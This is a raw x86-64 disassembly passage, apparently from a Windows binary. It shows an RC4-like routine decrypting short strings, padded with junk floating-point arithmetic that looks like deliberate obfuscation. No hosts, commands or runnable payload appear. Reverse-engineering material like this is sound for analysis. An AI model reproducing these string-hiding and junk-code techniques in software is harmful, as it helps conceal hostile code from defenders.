mov qword [rbp + 0x520], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x510], 0
movsd xmm1, qword [rbp + 0x510]
movsd xmm0, qword [0x1404d8a60]
ucomisd xmm0, xmm1
jbe 0x14012b8d1
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [str.q_nR]
movapd xmm2, xmmword [0x1404d8a80]
movsd xmm3, qword [0x1404d7cb0]
movsd xmm4, qword [0x1404d8a90]
movsd xmm5, qword [0x1404d7b80]
jmp 0x14012b826
movsd xmm6, qword [rbp + 0x510]
addsd xmm6, xmm5
movsd qword [rbp + 0x510], xmm6
movsd xmm6, qword [rbp + 0x510]
ucomisd xmm0, xmm6
jbe 0x14012b8d1
movsd xmm6, qword [rbp + 0x510]
movsd xmm7, qword [rbp + 0x510]
mov rcx, qword [rbp + 0x510]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rbp + 0x510]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rbp + 0x510]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rbp + 0x510]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm6
movsd xmm6, qword [rbp + 0x520]
ucomisd xmm6, xmm3
jbe 0x14012b800
movsd xmm6, qword [rbp + 0x510]
mulsd xmm6, xmm4
addsd xmm6, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm6
jmp 0x14012b800
movsd xmm0, qword [rbp + 0x520]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x14012b8f2
call fcn.140497507
call fcn.1404974ef
jmp 0x14012c5c2
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rbp + 0x430], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rbp + 0x460], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rbp + 0x470], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rbp + 0x4f0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rbp + 0x500], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, fcn.140497507
lea r10, [0x1401301bc]
xor esi, esi
xor r11d, r11d
jmp 0x14012ba09
dec r8
je 0x14012bb55
mov edx, 1
cmp r8, 2
jb 0x14012ba29
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x14012ba20
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x14012ba44
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rax, xmm0
jmp 0x14012bad0
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x14012bad0
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x14012bad0
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
jmp 0x14012bad0
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
nop word cs:[rax + rax]
add al, byte [rbp + rsi + 0x410]
inc r11d
lea esi, [rax + 0x15]
cmp r11d, 0x15
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x14012bb10
mov ebx, eax
cmp r8, rbx
jb 0x14012ba30
jmp 0x14012bb17
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x14012ba00
movzx edx, byte [rbp + r8 + 0x410]
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + r8 + 0x410], dl
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + rax + 0x410], dl
xor byte [rbp + r8 + 0x410], dl
jmp 0x14012ba00
movzx ecx, byte [rbp + 0x411]
movzx r10d, byte [rbp + 0x415]
movzx eax, cl
movzx edi, byte [rbp + 0x417]
movzx edx, sil
movzx esi, byte [rbp + rdx + 0x410]
movzx r8d, byte [fcn.1404974ef]
movzx r9d, byte [0x1404974f0]
movzx edx, byte [rbp + rsi + 0x410]
lea ebx, [rax + 1]
movzx r11d, byte [rbp + rax + 0x410]
add r11b, byte [rbp + 0x413]
movzx r11d, r11b
movzx r14d, byte [rbp + r11 + 0x410]
mov byte [rbp + rsi + 0x410], r14b
movzx r14d, byte [rbp + rdi + 0x410]
mov byte [rbp + r11 + 0x410], r14b
movzx ebx, bl
movzx r14d, byte [rbp + rbx + 0x410]
mov byte [rbp + rdi + 0x410], r14b
mov byte [rbp + rbx + 0x410], dl
movzx ebx, byte [rbp + r11 + 0x410]
add bl, dl
movzx esi, byte [rbp + rsi + 0x410]
add sil, byte [rbp + rdi + 0x410]
add r10b, byte [rbp + rdx + 0x410]
movzx edi, bl
movzx r10d, r10b
add sil, byte [rbp + r10 + 0x410]
movzx ebx, byte [rbp + rdi + 0x410]
movzx esi, sil
movzx esi, byte [rbp + rsi + 0x410]
shl r8b, 4
add r8b, 0x20
add r9b, 0x88
xor bl, byte [rbp + rsi + 0x410]
or r9b, r8b
xor bl, r9b
movzx r8d, byte [0x1404974f1]
movzx esi, byte [0x1404974f2]
add sil, 0x88
shl r8b, 4
add r8b, 0x20
or r8b, sil
movzx esi, r9b
movzx r9d, byte [rbp + rsi + 0x410]
lea edi, [rax + 2]
add r11b, dl
movzx r11d, r11b
movzx edx, byte [rbp + r11 + 0x410]
mov byte [rbp + rsi + 0x410], dl
movzx edx, bl
movzx ebx, byte [rbp + rdx + 0x410]
mov byte [rbp + r11 + 0x410], bl
movzx edi, dil
movzx ebx, byte [rbp + rdi + 0x410]
mov byte [rbp + rdx + 0x410], bl
mov byte [rbp + rdi + 0x410], r9b
add r10b, byte [rbp + r9 + 0x410]
movzx ebx, byte [rbp + r11 + 0x410]
add bl, r9b
movzx edi, bl
movzx ebx, byte [rbp + rdi + 0x410]
movzx esi, byte [rbp + rsi + 0x410]
add sil, byte [rbp + rdx + 0x410]
movzx r10d, r10b
add sil, byte [rbp + r10 + 0x410]
movzx edx, sil
movzx edx, byte [rbp + rdx + 0x410]
xor bl, byte [rbp + rdx + 0x410]
xor bl, r8b
movsx edi, bl
mov word [rbp + 0x3f0], di
movzx edx, byte [0x1404974f3]
movzx ebx, byte [0x1404974f4]
add bl, 0x88
shl dl, 4
add dl, 0x20
movzx esi, r8b
movzx r8d, byte [rbp + rsi + 0x410]
lea r14d, [rax + 3]
add r11b, r9b
movzx r9d, r11b
movzx r11d, byte [rbp + r9 + 0x410]
mov byte [rbp + rsi + 0x410], r11b
movzx r11d, dil
movzx edi, byte [rbp + r11 + 0x410]
mov byte [rbp + r9 + 0x410], dil
movzx edi, r14b
movzx r14d, byte [rbp + rdi + 0x410]
mov byte [rbp + r11 + 0x410], r14b
mov byte [rbp + rdi + 0x410], r8b
add r10b, byte [rbp + r8 + 0x410]
movzx edi, byte [rbp + r9 + 0x410]
add dil, r8b
movzx edi, dil
movzx esi, byte [rbp + rsi + 0x410]
add sil, byte [rbp + r11 + 0x410]
movzx edi, byte [rbp + rdi + 0x410]
movzx r11d, r10b
add sil, byte [rbp + r11 + 0x410]
movzx r10d, sil
movzx r10d, byte [rbp + r10 + 0x410]
xor dil, byte [rbp + r10 + 0x410]
or dl, bl
xor dil, dl
movsx ebx, dil
mov word [rbp + 0x3f2], bx
movzx r10d, byte [0x1404974f5]
movzx esi, byte [0x1404974f6]
add sil, 0x88
shl r10b, 4
add r10b, 0x20
or r10b, sil
movzx edi, dl
movzx esi, byte [rbp + rdi + 0x410]
lea r14d, [rax + 4]
add r9b, r8b
movzx edx, r9b
movzx r8d, byte [rbp + rdx + 0x410]
mov byte [rbp + rdi + 0x410], r8b
movzx r8d, bl
movzx r9d, byte [rbp + r8 + 0x410]
mov byte [rbp + rdx + 0x410], r9b
movzx r9d, r14b
movzx ebx, byte [rbp + r9 + 0x410]
mov byte [rbp + r8 + 0x410], bl
mov byte [rbp + r9 + 0x410], sil
add r11b, byte [rbp + rsi + 0x410]
movzx r9d, byte [rbp + rdx + 0x410]
add r9b, sil
movzx r9d, r9b
movzx ebx, byte [rbp + rdi + 0x410]
add bl, byte [rbp + r8 + 0x410]
movzx r9d, byte [rbp + r9 + 0x410]
movzx r8d, r11b
add bl, byte [rbp + r8 + 0x410]
movzx r11d, bl
movzx r11d, byte [rbp + r11 + 0x410]
xor r9b, byte [rbp + r11 + 0x410]
xor r9b, r10b
movsx ebx, r9b
mov word [rbp + 0x3f4], bx
movzx r11d, byte [0x1404974f7]
movzx r9d, byte [reloc.WLDAP32.dll_Ordinal_127]
add r9, 0x88
shl r11d, 4
add r11d, 0xfffff220
movzx edi, r10b
movzx r14d, byte [rbp + rdi + 0x410]
lea r10d, [rax + 5]
add dl, sil
movzx esi, dl
movzx r15d, byte [rbp + rsi + 0x410]
mov byte [rbp + rdi + 0x410], r15b
movzx ebx, bl
movzx r15d, byte [rbp + rbx + 0x410]
mov byte [rbp + rsi + 0x410], r15b
movzx r10d, r10b
movzx r15d, byte [rbp + r10 + 0x410]
mov byte [rbp + rbx + 0x410], r15b
mov byte [rbp + r10 + 0x410], r14b
add r8b, byte [rbp + r14 + 0x410]
or r9, r11
movzx esi, byte [rbp + rsi + 0x410]
add sil, r14b
movzx esi, sil
movzx edi, byte [rbp + rdi + 0x410]
add dil, byte [rbp + rbx + 0x410]
movzx ebx, r8b
add dil, byte [rbp + rbx + 0x410]
movzx edi, dil
movzx edi, byte [rbp + rdi + 0x410]
movzx ebx, byte [rbp + rsi + 0x410]
xor bl, r9b
xor bl, byte [rbp + rdi + 0x410]
movsx esi, bl
mov word [rbp + 0x3f6], si
movzx edi, byte [0x1404974f9]
movzx esi, byte [0x1404974fa]
add rsi, 0x88
mov dword [rbp + 0x550], 0x46cb6600
mov dword [rbp + 0x558], 0x46879a00
mov dword [rbp + 0x570], 0x46079c00
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
ucomiss xmm0, xmm1
jbe 0x14012c084
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
divss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
divss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
subss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
jmp 0x14012c0e0
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
shl edi, 4
add edi, 0xfffff220
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x570]
movss dword [rbp + 0x570], xmm0
mov r11d, edi
mov r11d, r11d
or r11, rsi
movzx esi, r9b
movzx r9d, byte [rbp + rsi + 0x410]
lea edi, [rcx + 6]
add dl, byte [rbp + r10 + 0x410]
movzx edx, dl
movzx r10d, byte [rbp + rdx + 0x410]
mov byte [rbp + rsi + 0x410], r10b
movzx r10d, bl
movzx ebx, byte [rbp + r10 + 0x410]
mov byte [rbp + rdx + 0x410], bl
movzx edi, dil
movzx ebx, byte [rbp + rdi + 0x410]
mov byte [rbp + r10 + 0x410], bl
mov byte [rbp + rdi + 0x410], r9b
add r8b, byte [rbp + r9 + 0x410]
movzx ebx, byte [rbp + rdx + 0x410]
add bl, r9b
movzx edi, bl
movzx ebx, byte [rbp + rsi + 0x410]
add bl, byte [rbp + r10 + 0x410]
movzx r10d, r8b
add bl, byte [rbp + r10 + 0x410]
movzx r8d, bl
movzx r8d, byte [rbp + r8 + 0x410]
movzx esi, r11b
xor r11b, byte [rbp + rdi + 0x410]
xor r11b, byte [rbp + r8 + 0x410]
movsx edi, r11b
mov word [rbp + 0x3f8], di
movzx r8d, byte [0x1404974fb]
movzx ebx, byte [0x1404974fc]
add bl, 0x88
shl r8b, 4
add r8b, 0x20
movzx r11d, byte [rbp + rsi + 0x410]
add cl, 7
add dl, r9b
movzx r9d, dl
movzx r14d, byte [rbp + r9 + 0x410]
mov byte [rbp + rsi + 0x410], r14b
movzx edi, dil
movzx r14d, byte [rbp + rdi + 0x410]
mov byte [rbp + r9 + 0x410], r14b
movzx ecx, cl
movzx r14d, byte [rbp + rcx + 0x410]
mov byte [rbp + rdi + 0x410], r14b
mov byte [rbp + rcx + 0x410], r11b
add r10b, byte [rbp + r11 + 0x410]
or r8b, bl
movzx ecx, byte [rbp + r9 + 0x410]
add cl, r11b
movzx ecx, cl
movzx ecx, byte [rbp + rcx + 0x410]
movzx r9d, byte [rbp + rsi + 0x410]
add r9b, byte [rbp + rdi + 0x410]
movzx esi, r10b
add r9b, byte [rbp + rsi + 0x410]
movzx r9d, r9b
movzx r9d, byte [rbp + r9 + 0x410]
xor cl, byte [rbp + r9 + 0x410]
xor cl, r8b
movsx r9d, cl
mov word [rbp + 0x3fa], r9w
xor r9d, r9d
lea rsi, [fcn.1404974ef]
nop dword [rax]
add dl, r11b
movzx edi, r8b
movzx r8d, byte [rsi + r9*2 + 0xe]
movzx r11d, byte [rbp + rdi + 0x410]
lea ebx, [rax + r9]
add ebx, 8
movzx r14d, dl
movzx r15d, byte [rbp + r14 + 0x410]
mov byte [rbp + rdi + 0x410], r15b
movzx r15d, cl
movzx ecx, byte [rbp + r15 + 0x410]
mov byte [rbp + r14 + 0x410], cl
movzx ecx, bl
movzx ebx, byte [rbp + rcx + 0x410]
mov byte [rbp + r15 + 0x410], bl
movzx ebx, byte [rsi + r9*2 + 0xf]
add bl, 0x88
shl r8b, 4
add r8b, 0x20
mov byte [rbp + rcx + 0x410], r11b
add r10b, byte [rbp + r11 + 0x410]
or r8b, bl
movzx ecx, byte [rbp + r14 + 0x410]
add cl, r11b
movzx ecx, cl
movzx ecx, byte [rbp + rcx + 0x410]
movzx ebx, byte [rbp + rdi + 0x410]
add bl, byte [rbp + r15 + 0x410]
movzx edi, r10b
add bl, byte [rbp + rdi + 0x410]
movzx edi, bl
movzx edi, byte [rbp + rdi + 0x410]
xor cl, byte [rbp + rdi + 0x410]
xor cl, r8b
movsx edi, cl
mov word [rbp + r9*2 + 0x3fc], di
inc r9
cmp r9, 5
jne 0x14012c280
movabs r10, 0x40d8e70000000000
mov qword [rbp + 0x550], r10
movabs r10, 0x40d3ec0000000000
mov qword [rbp + 0x558], r10
movabs r10, 0x40cde20000000000
mov qword [rbp + 0x570], r10
movabs r10, 0x40c3ec0000000000
mov qword [rbp + 0x568], r10
movabs r10, 0x40b3ec0000000000
mov qword [rbp + 0x560], r10
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
ucomisd xmm0, xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x550]
lea r10, [rax + r9 + 7]
jbe 0x14012c4dc
addsd xmm0, xmm1
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x558]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
jmp 0x14012c558
mulsd xmm0, xmm1
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movzx r8d, r8b
movzx r11d, byte [rbp + r8 + 0x410]
movzx r10d, r10b
add dl, byte [rbp + r10 + 0x410]
add eax, r9d
add eax, 8
movzx edx, dl
movzx r9d, byte [rbp + rdx + 0x410]
mov byte [rbp + r8 + 0x410], r9b
movzx ecx, cl
movzx r8d, byte [rbp + rcx + 0x410]
mov byte [rbp + rdx + 0x410], r8b
movzx eax, al
movzx edx, byte [rbp + rax + 0x410]
mov byte [rbp + rcx + 0x410], dl
mov byte [rbp + rax + 0x410], r11b
mov word [rbp + 0x406], 0
mov ecx, 8
call fcn.14049f228
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0x3d0], rax
mov rcx, rax
call fcn.14005aff0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x550], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x550], 0
mov qword [rbp + 0x550], 0
movsd xmm1, qword [rbp + 0x550]
movsd xmm0, qword [0x1404d97f0]
ucomisd xmm0, xmm1
jbe 0x14012c741
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9800]
movapd xmm2, xmmword [0x1404d9810]
movsd xmm3, qword [0x1404d9820]
movsd xmm4, qword [0x1404d9828]
movsd xmm5, qword [0x1404d7a10]
jmp 0x14012c696
movsd xmm6, qword [rbp + 0x550]
addsd xmm6, xmm5
movsd qword [rbp + 0x550], xmm6
movsd xmm6, qword [rbp + 0x550]
ucomisd xmm0, xmm6
jbe 0x14012c741
movsd xmm6, qword [rbp + 0x550]
movsd xmm7, qword [rbp + 0x550]
mov rcx, qword [rbp + 0x550]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rbp + 0x550]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rbp + 0x550]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rbp + 0x550]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rbp + 0x510]
movsd qword [rbp + 0x510], xmm6
movsd xmm6, qword [rbp + 0x510]
ucomisd xmm6, xmm3
jbe 0x14012c670
movsd xmm6, qword [rbp + 0x550]
mulsd xmm6, xmm4
addsd xmm6, qword [rbp + 0x510]
movsd qword [rbp + 0x510], xmm6
jmp 0x14012c670
movsd xmm0, qword [rbp + 0x510]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x14012c762
call fcn.140497534
call fcn.140497518
jmp 0x14012e51d
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rbp + 0x430], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rbp + 0x460], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rbp + 0x470], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rbp + 0x4f0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rbp + 0x500], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [fcn.140497534]
movabs rdi, 0x40c6590000000000
movabs rbx, 0x40c0c30000000000
movabs r14, 0x40b65a0000000000
movabs r15, 0x40a65c0000000000
lea r12, [0x1401301cc]
xor esi, esi
xor r13d, r13d
jmp 0x14012c964
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x520]
subsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movzx edx, byte [rbp + rax + 0x410]
xor byte [rbp + r8 + 0x410], dl
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x520]
subsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movzx edx, byte [rbp + rax + 0x410]
xor dl, byte [rbp + r8 + 0x410]
mov byte [rbp + rax + 0x410], dl
xor byte [rbp + r8 + 0x410], dl
dec r8
je 0x14012ce22
mov edx, 1
cmp r8, 2
jb 0x14012c989
mov edx, 1
nop word cs:[rax + rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x14012c980
mov r10d, recvfrom
nop
cmp r13d, 3
ja case.default.0x14012c9a4
mov eax, r13d
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
movzx esi, sil
movsd xmm0, qword [rbp + 0x510]
cvttsd2si rax, xmm0
jmp 0x14012ca30
movsd xmm0, qword [rbp + 0x510]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x14012ca30
movsd xmm0, qword [rbp + 0x510]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x14012ca30
movsd xmm0, qword [rbp + 0x510]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
jmp 0x14012ca30
movzx esi, sil
lea eax, [r13 - 4]
movzx eax, byte [rax + r9]
nop word cs:[rax + rax]
add al, byte [rbp + rsi + 0x410]
inc r13d
lea esi, [rax + 0x1e]
cmp r13d, 0x1e
cmovae r13d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec r10d
je 0x14012ca70
mov r11d, eax
cmp r8, r11
jb 0x14012c990
jmp 0x14012ca77
xor edx, edx
div r8d
mov eax, edx
mov eax, eax
cmp r8, rax
je 0x14012c95b
movabs rdx, 0x40d0c28000000000
mov qword [rbp + 0x520], rdx
movabs rdx, 0x40cbef0000000000
mov qword [rbp + 0x558], rdx
mov qword [rbp + 0x570], rdi
mov qword [rbp + 0x568], rbx
mov qword [rbp + 0x560], r14
mov qword [rbp + 0x548], r15
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x520]
mulsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x520]
mulsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x570]
subsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x520]
ucomisd xmm1, xmm0
ja 0x14012c890
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x558]
addsd xmm0, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x520]
addsd xmm0, qword [rbp + 0x548]
movsd qword [rbp + 0x548], xmm0
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x548]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x520]
movsd xmm1, qword [rbp + 0x548]
mulsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x570]
divsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x520]
addsd xmm0, qword [rbp + 0x548]
movsd qword [rbp + 0x548], xmm0
movsd xmm0, qword [rbp + 0x548]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x560]
ucomisd xmm1, xmm0
jbe 0x14012cd79
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x548]
subsd xmm1, xmm0
movsd qword [rbp + 0x548], xmm1
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x520]
mulsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x520]
divsd xmm1, xmm0
movsd qword [rbp + 0x520], xmm1
movsd xmm0, qword [rbp + 0x520]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
jmp 0x14012c93c
movsd xmm0, qword [rbp + 0x568]
movsd xmm1, qword [rbp + 0x558]
divsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x520]
subsd xmm1, xmm0
